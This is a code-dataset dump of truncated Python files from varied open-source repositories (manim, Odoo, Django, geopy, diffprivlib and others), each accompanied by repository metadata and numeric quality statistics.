0.520259
0.247525
0
0
0
0
0.104167
0
0
0
0
0
0.153846
1
0.153846
false
0
0.307692
0
0.538462
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
2
f071321c8eca3ffe8c698b9cd615a833de34b7c1
362
py
Python
examples/example_imports.py
hkeliang/manim-kunyuan
98a9a615b00205131e5efeefda4287421b8080de
[ "MIT" ]
null
null
null
examples/example_imports.py
hkeliang/manim-kunyuan
98a9a615b00205131e5efeefda4287421b8080de
[ "MIT" ]
null
null
null
examples/example_imports.py
hkeliang/manim-kunyuan
98a9a615b00205131e5efeefda4287421b8080de
[ "MIT" ]
null
null
null
from manim_express import EagerModeScene, Size, SceneArgs from manim_express.plot import m_line, m_scatter from manimlib import * import matplotlib.pyplot as plt import numpy as np SceneArgs.color = rgb_to_hex([0.3, 0.4, 0.5]) # this will coverride the `color` option in custom_config.yml SceneArgs.gif = False # SceneA...
30.166667
107
0.787293
59
362
4.694915
0.711864
0.064982
0.115523
0
0
0
0
0
0
0
0
0.025559
0.135359
362
11
108
32.909091
0.859425
0.234807
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
0.625
0
0.625
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
2
b2b949751f3a095ec8abef6d54d5f31da197b04d
1,048
py
Python
__manifest__.py
joytao-zhu/odoo-s3
1daee6aa090efe906003707668dec670e59bd8ac
[ "MIT" ]
8
2018-01-23T12:08:15.000Z
2021-06-02T08:21:49.000Z
__manifest__.py
marclijour/odoo-s3
1daee6aa090efe906003707668dec670e59bd8ac
[ "MIT" ]
null
null
null
__manifest__.py
marclijour/odoo-s3
1daee6aa090efe906003707668dec670e59bd8ac
[ "MIT" ]
10
2018-04-10T11:40:40.000Z
2022-01-06T08:42:13.000Z
# -*- coding: utf-8 -*- { 'name': "odoo-s3", 'summary': """ Stores attachments in Amazon S3 instead of the local drive""", 'description': """ In large deployments, Odoo workers need to share a distributed filestore. Amazon S3 can store files (e.g. attachments and pictures),...
30.823529
92
0.63645
140
1,048
4.757143
0.7
0.018018
0.042042
0
0
0
0
0
0
0
0
0.010114
0.245229
1,048
33
93
31.757576
0.831858
0.334924
0
0
0
0
0.777293
0
0
0
0
0
0
1
0
true
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
2
b2c3a17c2245baf1e4c45c0932f9070b07059739
559
py
Python
unittest/unittest_exception.py
all3g/pieces
bc378fd22ddc700891fe7f34ab0d5b341141e434
[ "CNRI-Python" ]
34
2016-10-31T02:05:24.000Z
2018-11-08T14:33:13.000Z
unittest/unittest_exception.py
join-us/python-programming
bc378fd22ddc700891fe7f34ab0d5b341141e434
[ "CNRI-Python" ]
2
2017-05-11T03:00:31.000Z
2017-11-01T23:37:37.000Z
unittest/unittest_exception.py
join-us/python-programming
bc378fd22ddc700891fe7f34ab0d5b341141e434
[ "CNRI-Python" ]
21
2016-08-19T09:05:45.000Z
2018-11-08T14:33:16.000Z
#!/usr/bin/python # -*- coding: utf-8 -*- import unittest def raise_error(*args, **kwds): print args, kwds raise ValueError('Invalid value:' + str(args) + str(kwds)) class ExceptionTest(unittest.TestCase): def testTrapLocally(self): try: raise_error('a', b='c') except Value...
19.964286
66
0.602862
63
559
5.174603
0.619048
0.092025
0.067485
0.07362
0.079755
0
0
0
0
0
0
0.00241
0.257603
559
27
67
20.703704
0.783133
0.067979
0
0
0
0
0.092486
0
0
0
0
0
0
0
null
null
0.0625
0.0625
null
null
0.0625
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
1
0
0
0
0
0
2
b2c7e92d24d9df07e26baa2288be78107b163c82
1,308
py
Python
sarpy/io/nitf/tres/unclass/AIMIDB.py
anielsen001/sarpy
07bf157f54a5304185fc0e1c34010053fd6ae9d9
[ "MIT" ]
null
null
null
sarpy/io/nitf/tres/unclass/AIMIDB.py
anielsen001/sarpy
07bf157f54a5304185fc0e1c34010053fd6ae9d9
[ "MIT" ]
null
null
null
sarpy/io/nitf/tres/unclass/AIMIDB.py
anielsen001/sarpy
07bf157f54a5304185fc0e1c34010053fd6ae9d9
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- from ..tre_elements import TREExtension, TREElement __classification__ = "UNCLASSIFIED" __author__ = "Thomas McCullough" class AIMIDBType(TREElement): def __init__(self, value): super(AIMIDBType, self).__init__() self.add_field('ACQUISITION_DATE', 's', 14, value) ...
37.371429
64
0.623853
177
1,308
4.293785
0.344633
0.165789
0.284211
0.380263
0.473684
0.381579
0.213158
0.144737
0
0
0
0.030948
0.20948
1,308
34
65
38.470588
0.704062
0.016055
0
0
0
0
0.205447
0.017121
0
0
0
0
0
1
0.037037
false
0
0.037037
0
0.222222
0
0
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
b2d2ed6b1a8a1264916646d07cfdf043ed82812c
3,914
py
Python
src/onegov/election_day/layouts/default.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
src/onegov/election_day/layouts/default.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
src/onegov/election_day/layouts/default.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
from babel import Locale from cached_property import cached_property from datetime import datetime from onegov.ballot import VoteCollection from onegov.core.i18n import SiteLocale from onegov.core.layout import ChameleonLayout from onegov.core.static import StaticFile from onegov.election_day import _ from onegov.elect...
29.428571
72
0.655084
471
3,914
5.248408
0.2569
0.093447
0.096278
0.067961
0.223301
0.204693
0.140777
0.140777
0.10356
0.10356
0
0.001685
0.241696
3,914
132
73
29.651515
0.831199
0
0
0.235294
0
0
0.099898
0.038068
0
0
0
0
0
1
0.205882
false
0
0.098039
0.107843
0.558824
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
0
0
0
2
b2e2877d3fddba0c2424e7341894eac0c364579d
254
py
Python
ProjectShop/Shipping/serializers.py
kolyasalubov/ProjectShop
41a62d27276542bf65aab51663220ffe88858024
[ "MIT" ]
3
2021-08-30T09:15:52.000Z
2022-03-24T14:40:11.000Z
ProjectShop/Shipping/serializers.py
kolyasalubov/ProjectShop
41a62d27276542bf65aab51663220ffe88858024
[ "MIT" ]
150
2021-08-30T12:37:17.000Z
2021-11-17T07:09:19.000Z
ProjectShop/Shipping/serializers.py
kolyasalubov/ProjectShop
41a62d27276542bf65aab51663220ffe88858024
[ "MIT" ]
null
null
null
from rest_framework import serializers from Shipping.models import ShippingModel class ShippingSerializer(serializers.ModelSerializer): """A serializer for Shipping view""" class Meta: model = ShippingModel fields = "__all__"
21.166667
54
0.73622
25
254
7.28
0.76
0
0
0
0
0
0
0
0
0
0
0
0.200787
254
11
55
23.090909
0.896552
0.11811
0
0
0
0
0.03211
0
0
0
0
0
0
1
0
false
0
0.333333
0
0.666667
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
2
b2e75a5bb8a8d11a4193222515c2598a819f2fb6
1,991
py
Python
pygsuite/common/comment.py
ngharrington/pygsuite
d9031d26fcf7b85c45bd243ae7f175c38ae6b1c8
[ "MIT" ]
null
null
null
pygsuite/common/comment.py
ngharrington/pygsuite
d9031d26fcf7b85c45bd243ae7f175c38ae6b1c8
[ "MIT" ]
null
null
null
pygsuite/common/comment.py
ngharrington/pygsuite
d9031d26fcf7b85c45bd243ae7f175c38ae6b1c8
[ "MIT" ]
null
null
null
class Reply(object): """{ "kind": "drive#commentReply", "replyId": string, "createdDate": datetime, "modifiedDate": datetime, "author": { "kind": "drive#user", "displayName": string, "picture": { "url": string },...
24.280488
97
0.494224
156
1,991
6.185897
0.314103
0.079793
0.058031
0.087047
0.495337
0.420725
0.420725
0.420725
0.420725
0.420725
0
0
0.36665
1,991
81
98
24.580247
0.765266
0.566549
0
0.238095
0
0
0.079268
0
0
0
0
0
0
1
0.333333
false
0
0
0.238095
0.666667
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
0
0
0
2
6507490bd23c56f0b501f02bd099672ff112574d
1,542
py
Python
meetpy/tests/factories.py
galuszkak/meetpy
86e3b76e79a1fac5fc27d430d2c2faa5189e23d0
[ "MIT" ]
null
null
null
meetpy/tests/factories.py
galuszkak/meetpy
86e3b76e79a1fac5fc27d430d2c2faa5189e23d0
[ "MIT" ]
1
2020-01-27T09:53:18.000Z
2020-01-27T13:40:11.000Z
meetpy/tests/factories.py
galuszkak/meetpy
86e3b76e79a1fac5fc27d430d2c2faa5189e23d0
[ "MIT" ]
null
null
null
from datetime import datetime, timedelta import factory from factory.fuzzy import FuzzyNaiveDateTime from meetups import models class MeetupFactory(factory.DjangoModelFactory): class Meta: model = models.Meetup number = factory.Sequence(lambda n: n) date = FuzzyNaiveDateTime(start_dt=datetime....
24.09375
135
0.719196
176
1,542
6.221591
0.323864
0.087671
0.164384
0.186301
0.575342
0.484018
0.237443
0.164384
0.164384
0.164384
0
0.014949
0.175746
1,542
63
136
24.47619
0.846578
0
0
0.216216
0
0
0.054475
0
0
0
0
0
0
1
0
false
0
0.108108
0
0.837838
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
2
651f34d67bd09e24568dbc73b33f1ca011237fcc
683
py
Python
tests/test_task0002.py
jtprogru/interview-task
13c045c83de1ebcd66431e4f0a7c01b1b043c0db
[ "MIT" ]
3
2022-02-07T17:31:35.000Z
2022-02-15T19:52:29.000Z
tests/test_task0002.py
jtprogru/interview-task
13c045c83de1ebcd66431e4f0a7c01b1b043c0db
[ "MIT" ]
2
2022-02-07T15:57:38.000Z
2022-03-01T05:40:49.000Z
tests/test_task0002.py
jtprogru/interview-task
13c045c83de1ebcd66431e4f0a7c01b1b043c0db
[ "MIT" ]
null
null
null
import pytest from tasks.task0002 import solution @pytest.mark.parametrize( "arr1, arr2, arr3, result", [ ([1, 2, 3, 4, 5, 100], [6, 7, 8, 9, 100], [10, 20, 21, 22, 23, 24, 100], 100), ( [1, 2, 3, 4, 5, 1000], [6, 7, 8, 9, 100, 150, 1000], [10, 20, 21, 22, ...
27.32
86
0.408492
106
683
2.613208
0.339623
0.072202
0.054152
0.072202
0.483755
0.166065
0.166065
0.057762
0.057762
0.057762
0
0.313063
0.349927
683
24
87
28.458333
0.310811
0
0
0
0
0
0.035139
0
0
0
0
0
0.047619
1
0.047619
false
0
0.095238
0
0.142857
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
1
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
65311145b6ee53fda530b097d389ae1ec1e3a742
149
py
Python
src/test/mod-test/io.vertx~mod-import~1.0/hello.py
pipoket/vertx-lang-python
c2411affd05d1238ddb7a945b2f963891a2d9767
[ "Apache-2.0" ]
null
null
null
src/test/mod-test/io.vertx~mod-import~1.0/hello.py
pipoket/vertx-lang-python
c2411affd05d1238ddb7a945b2f963891a2d9767
[ "Apache-2.0" ]
null
null
null
src/test/mod-test/io.vertx~mod-import~1.0/hello.py
pipoket/vertx-lang-python
c2411affd05d1238ddb7a945b2f963891a2d9767
[ "Apache-2.0" ]
null
null
null
from test_utils import TestUtils tu = TestUtils() import hello2 print "in hello" def vertx_stop(): tu.unregister_all() tu.app_stopped()
11.461538
32
0.711409
21
149
4.857143
0.809524
0
0
0
0
0
0
0
0
0
0
0.008333
0.194631
149
12
33
12.416667
0.841667
0
0
0
0
0
0.054422
0
0
0
0
0
0
0
null
null
0
0.285714
null
null
0.142857
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
2
6536013e234a34f49dd757edd14d8e069948eed4
481
py
Python
A_MIA_R3_Core/Graph_Process.py
nao0423/A_MIA_R3
49dd9849e082fd5cee98a9919e8e4962a8376e59
[ "MIT" ]
null
null
null
A_MIA_R3_Core/Graph_Process.py
nao0423/A_MIA_R3
49dd9849e082fd5cee98a9919e8e4962a8376e59
[ "MIT" ]
null
null
null
A_MIA_R3_Core/Graph_Process.py
nao0423/A_MIA_R3
49dd9849e082fd5cee98a9919e8e4962a8376e59
[ "MIT" ]
null
null
null
import os from A_MIA_R3_Core.Graphproc import Graphmod class Graph_Process: def __path_cutext2(self,pathkun): pathkun22, extkun = os.path.splitext(os.path.basename(pathkun)) return pathkun22 def __init__(self,filename): self.filename=filename self.path_ONLY=self.__path_cutext2...
28.294118
71
0.72973
59
481
5.644068
0.491525
0.072072
0.072072
0
0
0
0
0
0
0
0
0.023077
0.189189
481
16
72
30.0625
0.830769
0
0
0
0
0
0
0
0
0
0
0
0
1
0.25
false
0
0.166667
0
0.666667
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
2
6537d7f03a9250aba707accbcb5f532da3661e4d
679
py
Python
api/core/models.py
PaulSrrs/flutter-rescuer-app
01da4d0f760031c1fe8e6ee4f16adbd3bd01f725
[ "MIT" ]
null
null
null
api/core/models.py
PaulSrrs/flutter-rescuer-app
01da4d0f760031c1fe8e6ee4f16adbd3bd01f725
[ "MIT" ]
null
null
null
api/core/models.py
PaulSrrs/flutter-rescuer-app
01da4d0f760031c1fe8e6ee4f16adbd3bd01f725
[ "MIT" ]
null
null
null
from django.db import models from uuid import uuid4 class Rescue(models.Model): """ Rescue model definition for the database """ uuid = models.UUIDField(default=uuid4, primary_key=True) timestamp = models.DateTimeField(auto_now=True) alert_date = models.DateField() alert_time = models.Time...
35.736842
77
0.726068
82
679
5.890244
0.5
0.093168
0.136646
0.167702
0.273292
0.273292
0.273292
0.273292
0
0
0
0.026316
0.16053
679
18
78
37.722222
0.821053
0.05891
0
0
0
0
0
0
0
0
0
0
0
1
0
false
0
0.153846
0
1
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
2
6543d1287e2b04aca20d1595afba204832b5bdb0
1,508
py
Python
tests/mechanisms/test_DPMechanism.py
Originofamonia/differential-privacy-library
11759216bd418f764ff5c4a2349975b14f6e7ffb
[ "MIT" ]
1
2021-05-26T06:15:13.000Z
2021-05-26T06:15:13.000Z
tests/mechanisms/test_DPMechanism.py
SHIHUA110/differential-privacy-library
a889ba0f8d19c77e2b0369451ebc392969fac685
[ "MIT" ]
null
null
null
tests/mechanisms/test_DPMechanism.py
SHIHUA110/differential-privacy-library
a889ba0f8d19c77e2b0369451ebc392969fac685
[ "MIT" ]
1
2021-09-07T10:40:49.000Z
2021-09-07T10:40:49.000Z
from unittest import TestCase from diffprivlib.mechanisms import DPMachine, DPMechanism class TestDPMechanism(TestCase): def setup_method(self, method): class TestMech(DPMechanism): def randomise(self, value): return value self.mech = TestMech def teardown_method...
26.928571
84
0.632626
175
1,508
5.371429
0.274286
0.076596
0.095745
0.074468
0.241489
0.241489
0.218085
0.162766
0.162766
0
0
0.020758
0.265252
1,508
55
85
27.418182
0.827617
0
0
0.081081
0
0
0
0
0
0
0
0
0.27027
1
0.297297
false
0
0.054054
0.081081
0.513514
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
2
65465c2965d0c4da1879154d7082aea70d51e914
4,358
py
Python
tests/test_new.py
Mayitzin/ahrs
45af98331482a85ad1be730cbdf584cacfb416c6
[ "MIT" ]
184
2019-09-06T07:58:52.000Z
2022-03-31T04:27:09.000Z
tests/test_new.py
Mayitzin/ahrs
45af98331482a85ad1be730cbdf584cacfb416c6
[ "MIT" ]
48
2019-11-13T15:42:46.000Z
2022-03-31T23:53:53.000Z
tests/test_new.py
Mayitzin/ahrs
45af98331482a85ad1be730cbdf584cacfb416c6
[ "MIT" ]
34
2019-12-19T16:22:00.000Z
2022-03-14T09:51:50.000Z
#! /usr/bin/python3 # -*- coding: utf-8 -*- """ Pytest-based testing ==================== This file performs automated tests with pytest. It does not generate charts or output to be reviewed. Run with: pytest-3 tests/test_new.py Run with: pytest-3 tests/test_new.py -s -vv --cov=ahrs for coverage + verbose Copyright 2...
27.068323
232
0.626893
596
4,358
4.528523
0.340604
0.011115
0.011115
0.011856
0.265654
0.230826
0.230826
0.173027
0.146351
0.146351
0
0.209053
0.229463
4,358
160
233
27.2375
0.594699
0.257228
0
0.162162
1
0
0.017044
0.006508
0
0
0
0
0.144144
1
0.072072
false
0
0.045045
0
0.171171
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
e8dc04addbe19e19b436d12f2a6c4aa64d953e15
1,604
py
Python
setup.py
ytianxia6/pyzwcad
adae3c6a702446148ce1b8cbd7008dee7db5c512
[ "BSD-2-Clause" ]
null
null
null
setup.py
ytianxia6/pyzwcad
adae3c6a702446148ce1b8cbd7008dee7db5c512
[ "BSD-2-Clause" ]
null
null
null
setup.py
ytianxia6/pyzwcad
adae3c6a702446148ce1b8cbd7008dee7db5c512
[ "BSD-2-Clause" ]
null
null
null
#!/usr/bin/env python # -*- coding: utf-8 -*- try: from setuptools import setup except ImportError: from distutils.core import setup setup( name="pyzwcad", # packages=["pyautocad", "pyautocad.contrib"], packages=["pyzwcad", "pyzwcad.contrib"], version="0.3.2", # description="AutoCAD Automati...
34.869565
71
0.61409
157
1,604
6.242038
0.522293
0.193878
0.255102
0.159184
0.055102
0
0
0
0
0
0
0.020292
0.23192
1,604
45
72
35.644444
0.775162
0.144638
0
0.054054
0
0
0.565154
0.016105
0
0
0
0
0
1
0
true
0
0.081081
0
0.081081
0
0
0
0
null
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
2
e8ddb6aabd35ae53430334ddd50af27b03dad298
275
py
Python
create_tables.py
mnooel/749_assignment3
a0400cc842560a6137f10bd5d5592b24a3938fbf
[ "MIT" ]
null
null
null
create_tables.py
mnooel/749_assignment3
a0400cc842560a6137f10bd5d5592b24a3938fbf
[ "MIT" ]
null
null
null
create_tables.py
mnooel/749_assignment3
a0400cc842560a6137f10bd5d5592b24a3938fbf
[ "MIT" ]
null
null
null
# create_tables.py from engine import OracleConnection def create_tables(connection: OracleConnection): connection.execute_scripts_from_file('sql_scripts/create_tables.sql') if __name__ == '__main__': conn = OracleConnection() create_tables(connection=conn)
21.153846
73
0.785455
31
275
6.451613
0.548387
0.24
0.22
0
0
0
0
0
0
0
0
0
0.127273
275
12
74
22.916667
0.833333
0.058182
0
0
0
0
0.143969
0.11284
0
0
0
0
0
1
0.166667
false
0
0.166667
0
0.333333
0
0
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
e8e1aa99f4b7d5bd612becc4eb76798143080757
2,040
py
Python
etl_i2b2/pcornet_ont.py
sxinger/grouse
2e6fb43bd8dc1c2d7275ca8f91671203406d4124
[ "MIT" ]
5
2017-04-04T18:24:10.000Z
2019-03-18T17:42:23.000Z
etl_i2b2/pcornet_ont.py
sxinger/grouse
2e6fb43bd8dc1c2d7275ca8f91671203406d4124
[ "MIT" ]
8
2017-04-12T14:43:12.000Z
2019-06-07T20:00:12.000Z
etl_i2b2/pcornet_ont.py
sxinger/grouse
2e6fb43bd8dc1c2d7275ca8f91671203406d4124
[ "MIT" ]
7
2017-04-04T13:24:55.000Z
2020-09-06T00:12:57.000Z
'''pcornet_ont - Luigi Tasks to help load the SCILHS PCORNet Ontology ''' from datetime import datetime from typing import List, cast import luigi from etl_tasks import DBAccessTask, SourceTask from etl_tasks import DBTarget, SchemaTarget, TimeStampParameter from ont_load import MetaToConcepts from param_val import...
30
85
0.665686
230
2,040
5.769565
0.543478
0.015825
0.018086
0.027129
0
0
0
0
0
0
0
0.03919
0.24951
2,040
67
86
30.447761
0.827564
0.264706
0
0.051282
0
0
0.093641
0
0
0
0
0
0
1
0.102564
false
0
0.230769
0.102564
0.641026
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
1
1
0
0
2
e8ec9828d4dea1fbf83774f9b78c6afb05e1156c
2,083
py
Python
PAPC/datasets/dataloader.py
AgentMaker/PAPC
f5f385c6fed53d2ca2599171a317efaac348dfb5
[ "MIT" ]
70
2021-02-20T03:44:38.000Z
2022-01-17T12:55:45.000Z
PAPC/datasets/dataloader.py
AgentMaker/PAPC
f5f385c6fed53d2ca2599171a317efaac348dfb5
[ "MIT" ]
1
2021-02-20T05:26:14.000Z
2021-02-20T13:22:13.000Z
PAPC/datasets/dataloader.py
AgentMaker/PAPC
f5f385c6fed53d2ca2599171a317efaac348dfb5
[ "MIT" ]
8
2021-02-20T03:35:25.000Z
2022-02-08T03:22:55.000Z
from PAPC.datasets.kdloader import KDClasDataLoader, KDSegDataLoader from PAPC.datasets.voxloader import VoxDataLoader from PAPC.datasets.pnloader import PNClasDataLoader, PNSegDataLoader def DataLoader(model_name, max_point, batchsize, path='./data/', mode1='clas' ,mode2='train'): if mode1 == 'clas': if m...
50.804878
94
0.657225
224
2,083
5.959821
0.236607
0.094382
0.178277
0.204494
0.637453
0.637453
0.637453
0.614232
0.614232
0.614232
0
0.013995
0.245319
2,083
41
95
50.804878
0.835242
0
0
0.625
0
0
0.135797
0
0
0
0
0
0
1
0.025
false
0
0.075
0
0.425
0
0
0
0
null
0
0
1
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
e8f7c233a3cdc396951af2d10bf40188c27d45d5
235
py
Python
generatormain.py
trevorw22/Insta-bot
064afdbc5d319e738cc032bcee1ee790befcb079
[ "MIT" ]
15
2018-04-20T12:09:09.000Z
2021-12-26T10:22:48.000Z
generatormain.py
trevorw22/Insta-bot
064afdbc5d319e738cc032bcee1ee790befcb079
[ "MIT" ]
1
2021-06-25T15:24:19.000Z
2021-06-25T15:24:19.000Z
generatormain.py
trevorw22/Insta-bot
064afdbc5d319e738cc032bcee1ee790befcb079
[ "MIT" ]
3
2018-07-03T07:35:19.000Z
2019-11-28T07:02:42.000Z
from Database_Functions import * #main #Put here how many accounts you want to generate Accounts = 5; ''' Database ''' #Scrap for (Accounts) profile pictures #Scrap for (5 * Accounts) Memes and alter account check_excelsheet();
14.6875
49
0.731915
32
235
5.3125
0.78125
0.094118
0
0
0
0
0
0
0
0
0
0.010363
0.178723
235
15
50
15.666667
0.870466
0.578723
0
0
1
0
0
0
0
0
0
0
0
1
0
false
0
0.333333
0
0.333333
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
2
33012f5653666ff0856c26dc46c61830b80eeef1
662
py
Python
applications/online_cms/admin.py
nitagr/Fusion
2818d042988f15942cf44d6f02f46a7c2312d398
[ "bzip2-1.0.6" ]
1
2020-03-23T16:40:33.000Z
2020-03-23T16:40:33.000Z
applications/online_cms/admin.py
nitagr/Fusion
2818d042988f15942cf44d6f02f46a7c2312d398
[ "bzip2-1.0.6" ]
null
null
null
applications/online_cms/admin.py
nitagr/Fusion
2818d042988f15942cf44d6f02f46a7c2312d398
[ "bzip2-1.0.6" ]
null
null
null
from django.contrib import admin from .models import (Assignment, CourseDocuments, CourseVideo, Forum, ForumReply, Quiz, QuizQuestion, QuizResult, StudentAnswer, StudentAssignment, Topics, ) #need to register all the tables here which are functions in model...
23.642857
79
0.741692
72
662
6.819444
0.416667
0.183299
0.346232
0
0
0
0
0
0
0
0
0
0.172205
662
27
80
24.518519
0.895985
0.10423
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
0.133333
0
0.133333
0
0
0
0
null
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
2
330d170e83d523c2ade7fb21c17b933297021584
259
py
Python
utils/__init__.py
gerardroche/AutomaticPackageReloader
e90c22a50f6bfb195394cc6eedab0e7977a0011d
[ "MIT" ]
30
2017-03-05T12:28:31.000Z
2022-03-23T11:32:23.000Z
utils/__init__.py
gerardroche/AutomaticPackageReloader
e90c22a50f6bfb195394cc6eedab0e7977a0011d
[ "MIT" ]
34
2017-03-14T05:59:58.000Z
2021-08-24T16:25:05.000Z
utils/__init__.py
randy3k/PackageReloader
1255fcb0bc8effb66956e2240c42b7ae10615860
[ "MIT" ]
16
2017-03-09T12:03:21.000Z
2019-10-18T08:19:37.000Z
from .progress_bar import ProgressBar from .config import read_config from .package import has_package, package_of, package_python_version __all__ = [ "ProgressBar", "read_config", "has_package", "package_of", "package_python_version" ]
19.923077
68
0.741313
31
259
5.709677
0.419355
0.112994
0.19209
0.214689
0.440678
0.440678
0.440678
0
0
0
0
0
0.173745
259
12
69
21.583333
0.827103
0
0
0
0
0
0.250965
0.084942
0
0
0
0
0
1
0
false
0
0.3
0
0.3
0
0
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
331cee8ddd792cd057b92c2dce3887b467fb3154
597
py
Python
tests/base.py
akolpakov/paynova-api-php-client
930277623fc7b142ae9365a44f15a3a7b79bd974
[ "MIT" ]
4
2015-03-17T07:57:00.000Z
2016-02-08T18:26:44.000Z
tests/base.py
akolpakov/paynova-api-php-client
930277623fc7b142ae9365a44f15a3a7b79bd974
[ "MIT" ]
null
null
null
tests/base.py
akolpakov/paynova-api-php-client
930277623fc7b142ae9365a44f15a3a7b79bd974
[ "MIT" ]
null
null
null
#!/usr/bin/env python # -*- coding: utf-8 -*- # This file is part of paynova-api-python-client. # https://github.com/akolpakov/paynova-api-python-client # Licensed under the MIT license: # http://www.opensource.org/licenses/MIT-license # Copyright (c) 2015, Andrey Kolpakov <aakolpakov@gmail.com> from unittest import...
29.85
60
0.740369
81
597
5.333333
0.679012
0.046296
0.074074
0.101852
0
0
0
0
0
0
0
0.050193
0.132328
597
19
61
31.421053
0.783784
0.474037
0
0
0
0
0.338762
0.188925
0
0
0
0
0
1
0
false
0.142857
0.142857
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
1
0
0
2
331df52ecffa5edaab6c2b425b1f47eb19f1398a
3,906
py
Python
geopy/location.py
atnartur/geopy
99be6fb2c6e3c57b951f1e239013cd473c3b5d9d
[ "MIT" ]
null
null
null
geopy/location.py
atnartur/geopy
99be6fb2c6e3c57b951f1e239013cd473c3b5d9d
[ "MIT" ]
null
null
null
geopy/location.py
atnartur/geopy
99be6fb2c6e3c57b951f1e239013cd473c3b5d9d
[ "MIT" ]
null
null
null
""" :class:`.Location` returns geocoder results. """ from geopy.point import Point from geopy.compat import string_compare, py3k def _location_tuple(location): return location._address, (location._point[0], location._point[1]) class Location(object): # pylint: disable=R0903,R0921 """ Contains a parsed ...
26.571429
78
0.576037
434
3,906
4.949309
0.267281
0.050279
0.027933
0.037244
0.222533
0.102886
0.043296
0
0
0
0
0.01272
0.315668
3,906
146
79
26.753425
0.790872
0.274962
0
0.191781
0
0
0.046202
0
0
0
0
0
0
1
0.232877
false
0
0.027397
0.09589
0.520548
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
2
332ade9be7f92b5478f8c8209de6ebe279c07e80
2,192
py
Python
manage_package.py
koksyuen/pySA
31566bd29d3f685d518d8bedbe2aee118c7ca7b0
[ "MIT" ]
null
null
null
manage_package.py
koksyuen/pySA
31566bd29d3f685d518d8bedbe2aee118c7ca7b0
[ "MIT" ]
null
null
null
manage_package.py
koksyuen/pySA
31566bd29d3f685d518d8bedbe2aee118c7ca7b0
[ "MIT" ]
null
null
null
from termcolor import colored import subprocess import os import sys man_lines = ['.\\" Manpage for pySA.\n', '.\\" Contact https://gitter.im/pySA-dev for help.\n', '.TH man 1 "27 June 2016" "0.0.1" "pySA man page"\n', '.SH NAME\n', 'pySA \\- a commandline tool for structural analysis\n', '.SH SYNOPSIS\n', 'pySA [flag...
59.243243
1,132
0.652372
348
2,192
4.08046
0.405172
0.016901
0.014085
0.038028
0.271831
0.177465
0.112676
0.074648
0
0
0
0.017699
0.175182
2,192
36
1,133
